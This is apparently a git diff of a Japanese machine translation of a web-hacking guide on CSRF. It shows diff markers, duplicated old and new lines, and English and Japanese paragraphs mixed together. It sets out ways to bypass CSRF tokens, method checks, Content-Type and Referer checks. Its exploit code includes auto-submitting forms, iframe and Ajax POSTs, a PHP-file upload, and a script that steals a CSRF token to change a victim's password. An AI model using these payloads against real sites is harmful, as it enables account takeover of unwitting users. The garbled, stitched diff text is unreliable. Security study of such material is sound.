### トークンの欠如
|
||||
|
||||
一部のアプリケーションは、トークンが存在する場合に正しく**トークンを検証**しますが、**トークンが省略された場合に検証をスキップ**します。\
|
||||
この状況では、攻撃者はトークンを含むパラメータ全体を(値だけでなく)削除して検証をバイパスし、CSRF攻撃を実行できます。
|
||||
一部のアプリケーションは、トークンが存在する場合に正しく**トークンを検証**しますが、トークンが欠落している場合には検証をスキップします。\
|
||||
この状況では、攻撃者はトークンを含むパラメーター全体を(値だけでなく)削除して検証をバイパスし、CSRF攻撃を実行できます。
|
||||
|
||||
### CSRFトークンがユーザーセッションに関連付けられていない
|
||||
|
||||
一部のアプリケーションは、リクエストを行っているユーザーと同じセッションにトークンが属していることを**検証しない**場合があります。代わりに、アプリケーションは発行したトークンのグローバルプールを維持し、このプールに表示されるトークンを受け入れます。\
|
||||
この状況では、攻撃者は自分のアカウントを使用してアプリケーションにログインし、**有効なトークンを取得**し、そのトークンをCSRF攻撃の被害者ユーザーに提供することができます。
|
||||
この状況では、攻撃者は自分のアカウントを使用してアプリケーションにログインし、有効なトークンを取得し、そのトークンをCSRF攻撃の被害者ユーザーに提供することができます。
|
||||
|
||||
### メソッドバイパス
|
||||
|
||||
リクエストが「**奇妙な**」**メソッド**を使用している場合、**メソッドオーバーライド機能**が機能しているかどうかを確認してください。\
|
||||
たとえば、**PUT**メソッドを使用している場合、**POST**メソッドを使用して次のように送信できます:_https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
|
||||
これは、**\_methodパラメータをPOSTリクエスト内に送信**するか、**ヘッダー**を使用しても機能します。
|
||||
これは、**\_methodパラメーターをPOSTリクエスト内に送信**するか、**ヘッダー**を使用しても機能します。
|
||||
|
||||
* _X-HTTP-Method_
|
||||
* _X-HTTP-Method-Override_
|
||||
* _X-Method-Override_
|
||||
### カスタムヘッダートークンのバイパス
|
||||
|
||||
もしリクエストが**CSRF保護手法**として**トークン**を含む**カスタムヘッダー**を追加している場合は、以下の手順を試してみてください:
|
||||
もしリクエストが**CSRF保護手法**として**トークン**を含む**カスタムヘッダー**を追加している場合、以下の手順を実行します:
|
||||
|
||||
* **カスタムトークンとヘッダーを含まない**状態でリクエストをテストします。
|
||||
* **同じ長さ**ですが**異なるトークン**を使用してリクエストをテストします。
|
||||
|
||||
### CSRFトークンはクッキーで検証されます
|
||||
|
||||
前述の脆弱性のさらなるバリエーションとして、一部のアプリケーションでは**クッキーとリクエストパラメーターの両方に同じトークンが複製される**ことがあります。または、**CSRFクッキーを設定し、バックエンドで送信されたCSRFトークンがクッキーに関連付けられたトークンと一致するかどうかをチェックします**。
|
||||
前述の脆弱性のさらなるバリエーションとして、一部のアプリケーションは**クッキーとリクエストパラメーターの両方に同じトークンを複製**します。または、**CSRFクッキーを設定**し、バックエンドで**クッキーに関連付けられたCSRFトークンが送信されたトークンと一致するかどうかをチェック**します。
|
||||
|
||||
次のリクエストが検証される際に、アプリケーションは単純に**リクエストパラメーターに送信されたトークンがクッキーに保存された値と一致するかどうかを確認**します。\
|
||||
この状況では、攻撃者は再びCSRF攻撃を実行することができます。ただし、攻撃者が自身のCSRFクッキーをCRLFのように被害者に設定することを許す脆弱性がウェブサイトに存在する場合に限ります。
|
||||
次のリクエストが検証される際、アプリケーションは単純に**リクエストパラメーターに送信されたトークンがクッキーに保存された値と一致するかどうか**を確認します。\
|
||||
この状況では、攻撃者は再びCSRF攻撃を実行することができます。攻撃者は、犠牲者にCSRFクッキーを設定することができる脆弱性がウェブサイトに存在する場合、CRLFのような形で攻撃を行うことができます。
|
||||
|
||||
この場合、偽の画像を読み込むことを試みてクッキーを設定し、次にこの例のようにCSRF攻撃を実行することができます:
|
||||
```html
|
||||
|
@ -105,20 +105,20 @@ CSRFの脆弱性を悪用するためには、まず**悪用する重要なア
|
|||
</html>
|
||||
```
|
||||
{% hint style="info" %}
|
||||
注意してください。**csrfトークンがセッションクッキーに関連している場合、この攻撃は機能しません**。なぜなら、被害者に自分のセッションを設定する必要があり、したがって自分自身を攻撃することになるからです。
|
||||
注意してください。**csrfトークンがセッションクッキーに関連付けられている場合、この攻撃は機能しません**。なぜなら、被害者に自分のセッションを設定する必要があり、したがって自分自身を攻撃することになるからです。
|
||||
{% endhint %}
|
||||
|
||||
### Content-Typeの変更
|
||||
|
||||
[**こちら**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests)によると、**POST**メソッドを使用して**プリフライトを回避**するために、次のContent-Typeの値が許可されています。
|
||||
[**こちら**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests)によると、**プリフライトを回避**するために、**POST**メソッドを使用する場合、次のContent-Typeの値が許可されています。
|
||||
|
||||
* **`application/x-www-form-urlencoded`**
|
||||
* **`multipart/form-data`**
|
||||
* **`text/plain`**
|
||||
|
||||
ただし、使用する**Content-Type**によっては、**サーバーのロジックが異なる場合がある**ため、上記の値や**`application/json`**、**`text/xml`**、**`application/xml`**などの他の値も試してみる必要があります。
|
||||
ただし、使用する**Content-Type**によっては、**サーバーのロジックが異なる場合がある**ことに注意してください。したがって、上記の値や**`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._など、他の値も試してみる必要があります。
|
||||
|
||||
[ここ](https://brycec.me/posts/corctf\_2021\_challenges)からのJSONデータをtext/plainとして送信する例:
|
||||
[ここ](https://brycec.me/posts/corctf\_2021\_challenges)からの例:JSONデータをtext/plainとして送信する場合:
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
|
@ -133,13 +133,13 @@ form.submit();
|
|||
```
|
||||
### application/json preflight request bypass
|
||||
|
||||
既にご存知の通り、HTMLフォームを介してContent-Typeが**`application/json`**のPOSTリクエストを送信することはできません。また、**`XMLHttpRequest`**を使用して試みると、最初に**preflight**リクエストが送信されます。\
|
||||
既にお知りの通り、HTMLフォームを介してContent-Typeが**`application/json`**のPOSTリクエストを送信することはできません。また、**`XMLHttpRequest`**を使用して送信しようとすると、最初に**preflight**リクエストが送信されます。\
|
||||
ただし、バックエンドがContent-Typeに関係なくデータを使用しているかどうかを確認するために、JSONデータをcontent types **`text/plain`** および **`application/x-www-form-urlencoded`** を使用して送信することができます。\
|
||||
`Content-Type: text/plain` を使用してフォームを送信することができます。
|
||||
`Content-Type: text/plain`を使用してフォームを送信することができます。**`enctype="text/plain"`**を設定します。
|
||||
|
||||
サーバーがコンテンツタイプ "application/json" のみを受け入れる場合、preflightリクエストをトリガーせずにコンテンツタイプ "text/plain; application/json" を送信することができます。
|
||||
サーバーがコンテンツタイプ "application/json" のみを受け入れる場合、preflightリクエストをトリガーせずに**コンテンツタイプ "text/plain; application/json"**を送信することができます。
|
||||
|
||||
また、**SWFフラッシュファイル**を使用してこの制限を**バイパス**することもできます。詳細については、[**この投稿**](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)を参照してください。
|
||||
また、**SWFフラッシュファイル**を使用してこの制限を**バイパス**することもできます。詳細については、[**この投稿**](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)を読んでください。
|
||||
|
||||
### Referrer / Origin check bypass
|
||||
|
||||
|
@ -174,11 +174,9 @@ document.forms[0].submit();
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
***
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう**
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについて詳しく学びましょう**
|
||||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
|
||||
|
@ -198,7 +196,7 @@ document.forms[0].submit();
|
|||
<h1>404 - Page not found</h1>
|
||||
The URL you are requesting is no longer available
|
||||
```
|
||||
自動的にGETリクエストを送信するために使用できる他のHTML5タグは次のとおりです:
|
||||
他のHTML5タグを使用して自動的にGETリクエストを送信することもできます。
|
||||
|
||||
![](<../.gitbook/assets/image (530).png>)
|
||||
|
||||
|
@ -222,11 +220,11 @@ document.forms[0].submit();
|
|||
|
||||
To perform a Cross-Site Request Forgery (CSRF) attack, an attacker can create a malicious HTML page that includes a form with a POST method. This form is designed to submit data to a target website without the user's knowledge or consent.
|
||||
|
||||
To execute the attack, the attacker tricks the victim into visiting the malicious page. When the victim loads the page, the form is automatically submitted, sending the data to the target website. Since the victim is already authenticated on the target website, the server accepts the request and performs the desired action.
|
||||
To execute the attack, the attacker tricks the victim into visiting the malicious page. When the victim loads the page, the form is automatically submitted, sending the data to the target website. Since the victim is already authenticated on the target website, the server processes the request as if it came from the victim.
|
||||
|
||||
The key to a successful CSRF attack is to ensure that the victim is authenticated on the target website. This can be achieved by tricking the victim into clicking on a link or visiting a page that requires authentication before loading the malicious page.
|
||||
The attacker can use this technique to perform various malicious actions, such as changing the victim's account settings, making unauthorized purchases, or even deleting data.
|
||||
|
||||
To protect against CSRF attacks, web developers can implement measures such as using anti-CSRF tokens or checking the origin of the request. Additionally, users can protect themselves by being cautious when clicking on links or visiting unfamiliar websites.
|
||||
To protect against CSRF attacks, web developers can implement measures such as using anti-CSRF tokens, checking the Referer header, or implementing SameSite cookies.
|
||||
```markup
|
||||
<html>
|
||||
<body>
|
||||
|
@ -244,13 +242,21 @@ document.forms[0].submit(); //Way 3 to autosubmit
|
|||
```
|
||||
### iframeを通じたフォームのPOSTリクエスト
|
||||
|
||||
An attacker can exploit Cross-Site Request Forgery (CSRF) vulnerabilities by tricking a victim into submitting a form through an invisible iframe. This technique is commonly used when the attacker wants to perform actions on behalf of the victim without their knowledge or consent.
|
||||
An attacker can exploit Cross-Site Request Forgery (CSRF) vulnerabilities by tricking a victim into submitting a malicious form through an iframe. This technique is commonly used when the target website has implemented CSRF protection mechanisms that prevent direct form submissions from external domains.
|
||||
|
||||
To execute this attack, the attacker crafts a malicious webpage that contains an invisible iframe pointing to the target website. The attacker then creates a form within the iframe and sets the target website as the form's action. The form is pre-filled with the desired data and automatically submitted using JavaScript.
|
||||
攻撃者は、iframeを介して被害者に悪意のあるフォームを送信させることで、クロスサイトリクエストフォージェリ(CSRF)の脆弱性を悪用することができます。この技術は、対象のウェブサイトが外部ドメインからの直接のフォーム送信を防ぐCSRF保護メカニズムを実装している場合によく使用されます。
|
||||
|
||||
When the victim visits the attacker's webpage, the form is submitted in the background without their knowledge. Since the victim is already authenticated on the target website, the server processes the request as if it came directly from the victim. This allows the attacker to perform actions on the victim's behalf, such as changing their password, making purchases, or modifying their account settings.
|
||||
To perform this attack, the attacker crafts a webpage that contains an iframe pointing to the target website's vulnerable form. The attacker then tricks the victim into visiting this webpage, which loads the iframe and automatically submits the form without the victim's knowledge.
|
||||
|
||||
To protect against this attack, web developers should implement measures such as using anti-CSRF tokens, validating the referrer header, and implementing strict SameSite cookie policies. Additionally, users should be cautious when clicking on unfamiliar links or visiting suspicious websites to minimize the risk of falling victim to CSRF attacks.
|
||||
この攻撃を実行するために、攻撃者は対象のウェブサイトの脆弱なフォームを指すiframeを含むウェブページを作成します。攻撃者はその後、被害者にこのウェブページを訪れさせ、iframeを読み込み、被害者の知識を持たずにフォームを自動的に送信させます。
|
||||
|
||||
The malicious form can be designed to perform various actions on behalf of the victim, such as changing account settings, making purchases, or even initiating sensitive transactions. Since the request originates from the victim's browser, it appears legitimate to the target website, bypassing any CSRF protection measures in place.
|
||||
|
||||
悪意のあるフォームは、被害者の代わりにさまざまなアクションを実行するように設計することができます。例えば、アカウント設定の変更、購入の実行、または機密なトランザクションの開始などです。リクエストは被害者のブラウザから発信されるため、対象のウェブサイトには正当なものと見なされ、CSRF保護対策を回避します。
|
||||
|
||||
To mitigate this vulnerability, web developers should implement CSRF protection mechanisms such as anti-CSRF tokens or same-site cookies. Additionally, users should be cautious when visiting unfamiliar websites or clicking on suspicious links to minimize the risk of falling victim to CSRF attacks.
|
||||
|
||||
この脆弱性を軽減するために、ウェブ開発者は、アンチ-CSRFトークンや同一サイトクッキーなどのCSRF保護メカニズムを実装する必要があります。さらに、ユーザーは、不慣れなウェブサイトを訪れたり、疑わしいリンクをクリックしたりする際に注意を払い、CSRF攻撃に巻き込まれるリスクを最小限に抑えるべきです。
|
||||
```markup
|
||||
<!--
|
||||
The request is sent through the iframe withuot reloading the page
|
||||
|
@ -270,30 +276,15 @@ document.forms[0].submit();
|
|||
```
|
||||
### **Ajax POST リクエスト**
|
||||
|
||||
Ajax POST リクエストは、ブラウザが非同期的にサーバーにデータを送信するための方法です。このリクエストは、Webアプリケーションの機能を利用して、ユーザーの操作なしにデータを送信することができます。
|
||||
Ajax POST リクエストは、Webアプリケーションの脆弱性を悪用するための一般的な攻撃手法の1つです。この攻撃は、クロスサイトリクエストフォージェリ(CSRF)としても知られています。
|
||||
|
||||
以下は、Ajax POST リクエストの基本的な構文です。
|
||||
攻撃者は、被害者がログインしているWebアプリケーションに対して、不正なPOSTリクエストを送信します。このリクエストは、被害者の認証情報を使用して送信されるため、Webアプリケーションは正当なリクエストとして処理します。
|
||||
|
||||
```javascript
|
||||
$.ajax({
|
||||
url: "http://example.com/api",
|
||||
type: "POST",
|
||||
data: {
|
||||
param1: "value1",
|
||||
param2: "value2"
|
||||
},
|
||||
success: function(response) {
|
||||
console.log(response);
|
||||
},
|
||||
error: function(xhr, status, error) {
|
||||
console.log(error);
|
||||
}
|
||||
});
|
||||
```
|
||||
攻撃者は、不正なリクエストを作成するためにJavaScriptを使用し、そのリクエストを送信するためにAjaxを利用します。これにより、攻撃者は被害者のアカウントに対して悪意のある操作を実行することができます。
|
||||
|
||||
この例では、`http://example.com/api` に対してPOSTリクエストが送信されます。`data` パラメータには、送信するデータが含まれています。成功した場合は、`success` 関数が呼び出され、レスポンスがコンソールに表示されます。エラーが発生した場合は、`error` 関数が呼び出され、エラーメッセージがコンソールに表示されます。
|
||||
この攻撃を防ぐためには、WebアプリケーションはCSRFトークンを実装する必要があります。CSRFトークンは、リクエストが正当なものであることを確認するために使用されます。トークンは、ユーザーのセッションに関連付けられ、リクエストと一緒に送信されます。Webアプリケーションは、トークンが正当であるかどうかを検証し、不正なリクエストを拒否することができます。
|
||||
|
||||
Ajax POST リクエストは、CSRF(Cross-Site Request Forgery)攻撃の潜在的な脆弱性を持っています。この攻撃では、攻撃者がユーザーの代わりに意図しないリクエストを送信することができます。この攻撃を防ぐためには、適切なCSRF対策を実装する必要があります。
|
||||
攻撃者は、CSRFトークンを知らない限り、この攻撃を成功させることはできません。したがって、Webアプリケーションのセキュリティを向上させるためには、CSRFトークンの実装が重要です。
|
||||
```markup
|
||||
<script>
|
||||
var xh;
|
||||
|
@ -322,32 +313,15 @@ data: "param=value¶m2=value2"
|
|||
```
|
||||
### multipart/form-data POST リクエスト
|
||||
|
||||
In a multipart/form-data POST request, the data is sent as a series of parts, each containing a separate piece of data. This type of request is commonly used when uploading files or submitting forms with binary data.
|
||||
When submitting a form with file uploads, the `multipart/form-data` encoding type is used. This encoding allows the form data to be sent as a series of parts, each containing a separate field and its corresponding value.
|
||||
|
||||
To construct a multipart/form-data POST request, you need to set the `Content-Type` header to `multipart/form-data` and format the request body accordingly. Each part of the request body should be separated by a boundary, which is a unique string that acts as a delimiter between the parts.
|
||||
To perform a CSRF attack on a `multipart/form-data` POST request, the attacker needs to craft a malicious HTML page that includes a form with the target website's URL as the action attribute. The attacker can then trick the victim into submitting this form, causing the victim's browser to send the request to the target website.
|
||||
|
||||
Here is an example of a multipart/form-data POST request:
|
||||
The attacker can include hidden fields in the form to specify the values of the fields expected by the target website. These hidden fields can be pre-filled with values that the attacker wants to submit.
|
||||
|
||||
```http
|
||||
POST /upload HTTP/1.1
|
||||
Host: example.com
|
||||
Content-Type: multipart/form-data; boundary=---------------------------1234567890
|
||||
To prevent CSRF attacks, it is important for websites to implement measures such as using anti-CSRF tokens. These tokens are unique for each user session and are included in the form as a hidden field. When the form is submitted, the server verifies the token to ensure that the request is legitimate.
|
||||
|
||||
-----------------------------1234567890
|
||||
Content-Disposition: form-data; name="file"; filename="example.jpg"
|
||||
Content-Type: image/jpeg
|
||||
|
||||
[Binary data of the file]
|
||||
-----------------------------1234567890
|
||||
Content-Disposition: form-data; name="name"
|
||||
|
||||
John Doe
|
||||
-----------------------------1234567890--
|
||||
```
|
||||
|
||||
In this example, the request body consists of two parts. The first part contains the file data, with the `Content-Disposition` header specifying the name and filename of the file, as well as the content type. The second part contains a form field named "name" with the value "John Doe".
|
||||
|
||||
When sending a multipart/form-data POST request, make sure to properly set the `Content-Length` header to indicate the total size of the request body.
|
||||
By understanding how `multipart/form-data` POST requests work and the potential vulnerabilities they can introduce, you can better protect your website from CSRF attacks.
|
||||
```javascript
|
||||
myFormData = new FormData();
|
||||
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
|
||||
|
@ -360,21 +334,38 @@ headers: {"Content-Type": "application/x-www-form-urlencoded"},
|
|||
mode: "no-cors"
|
||||
});
|
||||
```
|
||||
### multipart/form-data POSTリクエスト v2
|
||||
### multipart/form-data POST リクエスト v2
|
||||
|
||||
In this technique, we will explore how to perform a CSRF attack using a multipart/form-data POST request. This technique is useful when the target application uses this type of request to submit forms or upload files.
|
||||
In this technique, we will explore how to perform a Cross-Site Request Forgery (CSRF) attack using a multipart/form-data POST request.
|
||||
|
||||
To execute this attack, we need to create a malicious HTML page that will contain a form with the necessary fields to perform the CSRF attack. The form should have the `enctype` attribute set to `multipart/form-data` and the `method` attribute set to `POST`.
|
||||
#### Overview
|
||||
|
||||
The fields in the form should match the fields expected by the target application. These fields can be identified by inspecting the HTML source code or by using a tool like Burp Suite.
|
||||
A multipart/form-data POST request is commonly used to upload files or submit form data that includes binary content. This type of request consists of multiple parts, each containing a separate piece of data.
|
||||
|
||||
Once the form is created, we need to include it in a page that will be hosted on our server. This page should also include JavaScript code that will automatically submit the form when the page is loaded.
|
||||
#### Exploiting CSRF with multipart/form-data POST request
|
||||
|
||||
When the victim visits our malicious page, the form will be submitted automatically, sending the crafted request to the target application. Since the victim is authenticated in the target application, the request will be processed as if it came from the victim's browser.
|
||||
To exploit CSRF using a multipart/form-data POST request, follow these steps:
|
||||
|
||||
To protect against this type of attack, the target application should implement measures such as using anti-CSRF tokens or checking the `Referer` header to ensure that requests originate from the same domain.
|
||||
1. Identify the target website that is vulnerable to CSRF.
|
||||
2. Craft a malicious HTML page or an email containing a hidden form that submits a multipart/form-data POST request to the target website.
|
||||
3. Include the necessary fields in the form to perform the desired action on the target website.
|
||||
4. Set the `enctype` attribute of the form to `multipart/form-data` to indicate that the request will contain multiple parts.
|
||||
5. Set the `method` attribute of the form to `POST` to specify that the request should be sent using the POST method.
|
||||
6. Set the `action` attribute of the form to the URL of the target website's vulnerable endpoint.
|
||||
7. Include any additional fields required by the target website, such as CSRF tokens or session cookies.
|
||||
8. Submit the form automatically using JavaScript or by tricking the victim into submitting it.
|
||||
9. The target website will process the malicious request, unaware that it was initiated by an attacker.
|
||||
10. The desired action will be performed on the target website, potentially leading to unauthorized access or data manipulation.
|
||||
|
||||
By understanding and exploiting the vulnerabilities associated with multipart/form-data POST requests, we can gain unauthorized access to sensitive information or perform actions on behalf of the victim. It is important to note that performing CSRF attacks is illegal and should only be done with proper authorization and for ethical purposes.
|
||||
#### Mitigation
|
||||
|
||||
To protect against CSRF attacks using multipart/form-data POST requests, consider implementing the following measures:
|
||||
|
||||
- Implement CSRF tokens: Include a unique token in each form submission and verify its authenticity on the server-side.
|
||||
- Implement SameSite cookies: Set the SameSite attribute of cookies to `Strict` or `Lax` to prevent cross-site requests.
|
||||
- Implement CSRF protection frameworks: Utilize frameworks that provide built-in protection against CSRF attacks, such as Django's CSRF middleware.
|
||||
|
||||
By understanding and mitigating CSRF vulnerabilities, you can enhance the security of your web applications and protect user data from unauthorized access or manipulation.
|
||||
```javascript
|
||||
var fileSize = fileData.length,
|
||||
boundary = "OWNEDBYOFFSEC",
|
||||
|
@ -397,19 +388,19 @@ xhr.sendAsBinary(body);
|
|||
|
||||
When an HTML form is submitted, the browser sends a POST request to the specified URL. This behavior can be exploited in a Cross-Site Request Forgery (CSRF) attack when the form is submitted from within an iframe.
|
||||
|
||||
HTMLのフォームが送信されると、ブラウザは指定されたURLにPOSTリクエストを送信します。この挙動は、iframe内からフォームが送信された場合に、クロスサイトリクエストフォージェリ(CSRF)攻撃で悪用される可能性があります。
|
||||
HTML フォームが送信されると、ブラウザは指定された URL に POST リクエストを送信します。この動作は、フォームが iframe 内から送信された場合に、クロスサイトリクエストフォージェリ(CSRF)攻撃で悪用される可能性があります。
|
||||
|
||||
To perform a CSRF attack using an iframe, an attacker can create a webpage with an invisible iframe that loads the target website's form. The attacker can then use JavaScript to automatically submit the form without the user's knowledge.
|
||||
To perform a CSRF attack using an iframe, an attacker can create a webpage with an iframe that loads the target website's form. The attacker can then use JavaScript to automatically submit the form without the user's knowledge.
|
||||
|
||||
iframeを使用してCSRF攻撃を実行するために、攻撃者は目的のウェブサイトのフォームを読み込む透明なiframeを持つウェブページを作成することができます。攻撃者はJavaScriptを使用して、ユーザーの知識を持たずにフォームを自動的に送信することができます。
|
||||
iframe を使用して CSRF 攻撃を実行するには、攻撃者はターゲットのウェブサイトのフォームを読み込む iframe を含むウェブページを作成します。攻撃者は JavaScript を使用して、ユーザーの知識を持たずにフォームを自動的に送信することができます。
|
||||
|
||||
This attack is possible because the browser includes the user's session cookies in the POST request, allowing the attacker to impersonate the user and perform actions on their behalf.
|
||||
This attack works because the browser includes the user's session cookies in the POST request, allowing the attacker to impersonate the user and perform actions on their behalf.
|
||||
|
||||
この攻撃が可能なのは、ブラウザがPOSTリクエストにユーザーのセッションクッキーを含めるためであり、攻撃者がユーザーをなりすまし、その代わりに操作を行うことができるからです。
|
||||
この攻撃は、ブラウザが POST リクエストにユーザーのセッションクッキーを含めるため、攻撃者がユーザーをなりすまし、その代わりに操作を実行することができるために機能します。
|
||||
|
||||
To protect against CSRF attacks, web developers should implement measures such as using anti-CSRF tokens, which are unique tokens embedded in the form that are checked upon submission to ensure the request is legitimate.
|
||||
To protect against CSRF attacks, web developers should implement measures such as using anti-CSRF tokens, validating the referrer header, and implementing strict access controls.
|
||||
|
||||
CSRF攻撃に対抗するために、ウェブ開発者は、フォームに埋め込まれた一意のトークンを使用するなどの対策を実装する必要があります。これにより、リクエストが正当であることを確認することができます。
|
||||
CSRF 攻撃に対抗するために、ウェブ開発者は、アンチ-CSRF トークンの使用、リファラーヘッダーの検証、厳格なアクセス制御の実装などの対策を実施する必要があります。
|
||||
```markup
|
||||
<--! expl.html -->
|
||||
|
||||
|
@ -429,15 +420,27 @@ function envia(){document.getElementById("formulario").submit();}
|
|||
```
|
||||
### **CSRFトークンを盗み、POSTリクエストを送信する**
|
||||
|
||||
To perform a CSRF attack, you need to steal the CSRF token from the target website and then use it to craft a malicious POST request. Here's how you can do it:
|
||||
To perform a Cross-Site Request Forgery (CSRF) attack, you need to steal the CSRF token from the target website and then use it to send a malicious POST request on behalf of the victim.
|
||||
|
||||
1. **Stealing the CSRF Token**: The CSRF token is typically embedded in the HTML of the target website. You can use various techniques like cross-site scripting (XSS) or social engineering to trick the victim into executing a script that extracts the CSRF token. Once you have the token, store it for later use.
|
||||
CSRFトークンを盗むためには、ターゲットのウェブサイトからCSRFトークンを取得し、それを利用して被害者の代わりに悪意のあるPOSTリクエストを送信する必要があります。
|
||||
|
||||
2. **Crafting the Malicious POST Request**: With the stolen CSRF token, you can now craft a POST request to perform the desired action on the target website. Make sure to include all the necessary parameters and values required by the target website's form. The CSRF token should be included as a parameter in the request body or as a custom header, depending on how the website handles CSRF protection.
|
||||
Here are the steps to accomplish this:
|
||||
|
||||
3. **Sending the POST Request**: Once you have crafted the malicious POST request, you can send it to the target website. This can be done using various tools like cURL, Burp Suite, or custom scripts. Make sure to set the appropriate headers and cookies to mimic a legitimate request.
|
||||
以下は、これを実行するための手順です。
|
||||
|
||||
By stealing the CSRF token and sending a crafted POST request, you can trick the target website into performing actions on behalf of the victim without their consent. This can lead to various security vulnerabilities, such as unauthorized data modification or account takeover. It is important for web developers to implement proper CSRF protection mechanisms to mitigate these attacks.
|
||||
1. **Steal the CSRF token**: The CSRF token is typically embedded in the HTML form or included as a cookie. You can use various techniques like cross-site scripting (XSS) or social engineering to trick the victim into executing a script that retrieves the token and sends it to your controlled server.
|
||||
|
||||
1. **CSRFトークンを盗む**: CSRFトークンは通常、HTMLフォームに埋め込まれるか、クッキーとして含まれます。クロスサイトスクリプティング(XSS)やソーシャルエンジニアリングなどのさまざまな技術を使用して、被害者を騙してトークンを取得し、それをあなたの制御下のサーバーに送信するスクリプトを実行させることができます。
|
||||
|
||||
2. **Craft the malicious POST request**: Once you have the CSRF token, you can craft a malicious POST request with the desired payload. This payload can include actions like changing the victim's password, making unauthorized transactions, or modifying sensitive data.
|
||||
|
||||
2. **悪意のあるPOSTリクエストを作成する**: CSRFトークンを取得したら、望むペイロードを含んだ悪意のあるPOSTリクエストを作成することができます。このペイロードには、被害者のパスワードの変更、不正なトランザクションの実行、または機密データの変更などのアクションが含まれることがあります。
|
||||
|
||||
3. **Send the POST request**: Finally, you send the crafted POST request to the target website. Since the request includes the stolen CSRF token, the server will consider it as a legitimate request and perform the desired action on behalf of the victim.
|
||||
|
||||
3. **POSTリクエストを送信する**: 最後に、作成したPOSTリクエストをターゲットのウェブサイトに送信します。リクエストには盗まれたCSRFトークンが含まれているため、サーバーはそれを正当なリクエストと見なし、被害者の代わりに望ましいアクションを実行します。
|
||||
|
||||
It is important to note that CSRF attacks can be mitigated by implementing countermeasures such as using CSRF tokens, checking the Referer header, and implementing CAPTCHAs. As a pentester, it is crucial to identify and exploit CSRF vulnerabilities to help organizations strengthen their security defenses.
|
||||
```javascript
|
||||
function submitFormWithTokenJS(token) {
|
||||
var xhr = new XMLHttpRequest();
|
||||
|
@ -486,32 +489,53 @@ getTokenJS();
|
|||
```
|
||||
### **CSRFトークンを盗み、iframe、フォーム、およびAjaxを使用してPOSTリクエストを送信する**
|
||||
|
||||
To perform a Cross-Site Request Forgery (CSRF) attack, you need to steal the CSRF token from the target website and then use it to send a malicious POST request. This can be achieved using an iframe, a form, and Ajax.
|
||||
CSRF(Cross-Site Request Forgery)攻撃は、攻撃者が被害者の代わりに意図しないリクエストを送信する攻撃手法です。この攻撃を行うためには、被害者のセッションに関連付けられたCSRFトークンを盗む必要があります。
|
||||
|
||||
#### **Stealing the CSRF Token**
|
||||
以下の手順で、CSRFトークンを盗み、それを使用してPOSTリクエストを送信する方法を説明します。
|
||||
|
||||
1. Create an iframe element in your attacker-controlled website.
|
||||
2. Set the source of the iframe to the target website's login page or any other page that generates a CSRF token.
|
||||
3. Use JavaScript to access the contents of the iframe and extract the CSRF token from the HTML source code.
|
||||
4. Store the stolen CSRF token in a variable for later use.
|
||||
1. 攻撃者は、悪意のあるウェブサイトにiframeを埋め込みます。このiframeは、被害者のウェブサイトにアクセスします。
|
||||
|
||||
#### **Sending a POST Request**
|
||||
```html
|
||||
<iframe src="https://victim-website.com"></iframe>
|
||||
```
|
||||
|
||||
1. Create a hidden form element in your attacker-controlled website.
|
||||
2. Set the action attribute of the form to the target website's vulnerable endpoint.
|
||||
3. Set the method attribute of the form to "POST".
|
||||
4. Include any required parameters in the form, such as the stolen CSRF token and any other necessary data.
|
||||
5. Use JavaScript to automatically submit the form when the page loads or when triggered by an event.
|
||||
2. iframe内のスクリプトを使用して、被害者のウェブサイトからCSRFトークンを取得します。
|
||||
|
||||
#### **Using Ajax**
|
||||
```javascript
|
||||
var csrfToken = document.querySelector('input[name="csrf_token"]').value;
|
||||
```
|
||||
|
||||
1. Create an Ajax request in your attacker-controlled website.
|
||||
2. Set the URL of the request to the target website's vulnerable endpoint.
|
||||
3. Set the method of the request to "POST".
|
||||
4. Include any required parameters in the request, such as the stolen CSRF token and any other necessary data.
|
||||
5. Send the Ajax request using JavaScript.
|
||||
3. 攻撃者は、取得したCSRFトークンを使用して、悪意のあるリクエストを送信するためのフォームを作成します。
|
||||
|
||||
By stealing the CSRF token and using it to send a malicious POST request, you can trick the target website into performing actions on behalf of the victim user without their consent. This can lead to unauthorized actions, data manipulation, or even account takeover. It is important for web developers to implement proper CSRF protection mechanisms to prevent such attacks.
|
||||
```html
|
||||
<form id="malicious-form" action="https://victim-website.com/change-password" method="POST">
|
||||
<input type="hidden" name="new_password" value="hacker-password">
|
||||
<input type="hidden" name="csrf_token" value="">
|
||||
</form>
|
||||
```
|
||||
|
||||
4. フォームのCSRFトークンフィールドに、取得したCSRFトークンを設定します。
|
||||
|
||||
```javascript
|
||||
document.querySelector('#malicious-form input[name="csrf_token"]').value = csrfToken;
|
||||
```
|
||||
|
||||
5. 攻撃者は、フォームを自動的に送信するために、JavaScriptを使用します。
|
||||
|
||||
```javascript
|
||||
document.getElementById('malicious-form').submit();
|
||||
```
|
||||
|
||||
6. または、Ajaxを使用して悪意のあるリクエストを送信することもできます。
|
||||
|
||||
```javascript
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open('POST', 'https://victim-website.com/change-password', true);
|
||||
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
|
||||
xhr.send('new_password=hacker-password&csrf_token=' + csrfToken);
|
||||
```
|
||||
|
||||
以上の手順により、攻撃者は被害者のセッションを乗っ取り、悪意のあるリクエストを送信することができます。被害者は、攻撃が発生したことに気付かずに、意図しないアクションを実行してしまう可能性があります。
|
||||
```markup
|
||||
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
|
||||
<input type="text" name="username" value="AA">
|
||||
|
@ -533,21 +557,19 @@ document.getElementById("form1").submit();
|
|||
```
|
||||
